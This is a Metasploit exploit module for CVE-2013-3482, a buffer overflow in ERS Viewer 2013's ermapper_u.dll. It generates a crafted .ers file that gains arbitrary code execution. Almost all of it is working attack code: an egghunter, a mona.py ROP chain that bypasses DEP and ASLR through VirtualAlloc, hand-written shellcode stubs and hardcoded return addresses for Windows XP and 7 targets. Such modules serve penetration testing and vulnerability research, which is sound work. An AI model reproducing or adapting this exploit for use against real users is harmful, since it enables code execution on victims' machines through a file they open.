ERS Viewer 2013 ERS File Handling Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.  
The vulnerability exists in the module ermapper_u.dll, where the function  
rf_report_error handles user provided data in a insecure way. It results in  
arbitrary code execution under the context of the user viewing a specially crafted  
.ers file. This module has been tested successfully with ERS Viewer 2013 (versions  
13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Fitts', # Vulnerability Discovery  
'juan vazquez' # Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2013-3482' ],  
[ 'OSVDB', '93650' ],  
[ 'URL', 'http://secunia.com/advisories/53620/' ]  
],  
'Payload' =>  
{  
'Space' => 4000,  
'DisableNops' => true,  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested on Windows XP SP3  
[ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',  
{  
'Offset' => 191,  
'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll  
}  
],  
# Tested on Windows XP SP3 and Windows 7 SP1  
[ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',  
{  
'Offset' => 191,  
'Ret' => 0x100E1152, # xchg eax, esp # ret # from ermapper_u.dll  
'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll  
'VirtualAllocPtr' => 0x1010c0f4  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "May 23 2013",  
'DefaultTarget' => 1))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']),  
], self.class)  
  
end  
  
def create_rop_chain()  
# rop chain generated with mona.py - www.corelan.be  
rop_gadgets =  
[  
0x10082624, # POP EAX # RETN [ermapper_u.dll]  
0x1010c0f4, # ptr to &VirtualAlloc() [IAT ermapper_u.dll]  
0x1001a9c0, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll]  
0x1005db36, # XCHG EAX,ESI # RETN [ermapper_u.dll]  
0x10105d87, # POP EBX # RETN [ermapper_u.dll]  
0xffffffff, #  
0x30d059d9, # INC EBX # RETN [ethrlib.dll]  
0x30d059d9, # INC EBX # RETN [ethrlib.dll]  
0x100e9dd9, # POP EAX # RETN [ermapper_u.dll]  
0xa2dbcf75, # put delta into eax (-> put 0x00001000 into edx)  
0x1001aa04, # ADD EAX,5D24408B # RETN [ermapper_u.dll]  
0x10016a98, # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll]  
0x10086d21, # RETN (ROP NOP) [ermapper_u.dll]  
0x1001a148, # & push esp # ret [ermapper_u.dll]  
0x10082624, # POP EAX # RETN [ermapper_u.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x100f687d, # NEG EAX # RETN [ermapper_u.dll]  
0x1001e720, # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll]  
0x100288b5, # POP EAX # RETN [ermapper_u.dll]  
0x90909090, # nop  
0x100e69e0, # PUSHAD # RETN [ermapper_u.dll]  
].flatten.pack("V*")  
  
return rop_gadgets  
end  
  
# Restore the stack pointer in order to execute the final payload successfully  
def fix_stack  
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18] # get teb  
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
return pivot  
end  
  
# In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding  
# the payload on memory we can't jump there directly, but allocate executable memory  
# and jump there. Badchars: "\x0a\x0d\x00"  
def hunter_suffix(payload_length)  
# push flProtect (0x40)  
suffix = "\xB8\xC0\xFF\xFF\xFF" # mov eax, 0xffffffc0  
suffix << "\xF7\xD8" # neg eax  
suffix << "\x50" # push eax  
# push flAllocationType (0x3000)  
suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0  
suffix << "\x50" # push eax  
# push dwSize (0x1000)  
suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff  
suffix << "\x48" # dec eax  
suffix << "\x50" # push eax  
# push lpAddress  
suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c  
suffix << "\x50" # push eax  
# Call VirtualAlloc  
suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc  
# Copy payload (edi) to Allocated memory (eax)  
suffix << "\x89\xFE" # mov esi, edi  
suffix << "\x89\xC7" # mov edi, eax  
suffix << "\x31\xC9" # xor ecx, ecx  
suffix << "\x66\x81\xC1" + [payload_length].pack("v") # add cx, payload_length  
suffix << "\xF3\xA4" # rep movsb  
# Jmp to the final payload (eax)  
suffix << "\xFF\xE0" # jmp eax  
  
return suffix  
end  
  
def exploit  
  
#These badchars do not apply to the final payload  
badchars = [0x0c, 0x0d, 0x0a].pack("C*")  
  
eggoptions =  
{  
:checksum => true,  
:eggtag => 'w00t'  
}  
my_payload = fix_stack + payload.encoded  
  
if target.name =~ /DEP & ASLR bypass/  
# The payload length can't include NULL's in order to  
# build the stub which will copy the final payload to  
# executable memory  
while [my_payload.length].pack("v").include?("\x00")  
my_payload << rand_text(1)  
end  
end  
  
hunter,egg = generate_egghunter(my_payload, badchars, eggoptions)  
  
if target.name =~ /DEP & ASLR bypass/  
hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length))  
end  
  
if target.name =~ /NO DEP/  
buf = rand_text_alpha(1)  
buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected  
buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret  
buf << hunter  
buf << rand_text_alpha(target['Offset'] - buf.length)  
buf << [target.ret].pack("V") # jmp eax  
buf << rand_text_alpha(8)  
buf << egg  
elsif target.name =~ /DEP & ASLR bypass/  
buf = rand_text_alpha(1)  
buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected  
buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret  
buf << create_rop_chain  
buf << hunter  
buf << rand_text_alpha(target['Offset'] - buf.length)  
buf << [target.ret].pack("V") # xchg eax, esp # ret  
buf << rand_text_alpha(8)  
buf << egg  
end  
  
ers = %Q|  
DatasetHeader Begin  
#{buf} End  
|  
  
file_create(ers)  
end  
end  
`